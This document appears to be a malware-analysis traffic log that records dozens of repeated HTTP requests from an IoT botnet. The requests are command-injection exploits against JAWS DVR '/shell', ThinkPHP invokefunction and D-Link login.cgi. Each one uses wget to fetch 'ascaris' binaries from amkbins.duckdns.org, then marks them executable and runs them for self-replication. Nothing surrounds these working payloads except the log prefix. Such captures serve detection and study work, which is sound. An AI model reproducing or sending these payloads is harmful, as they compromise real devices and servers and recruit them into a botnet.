Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
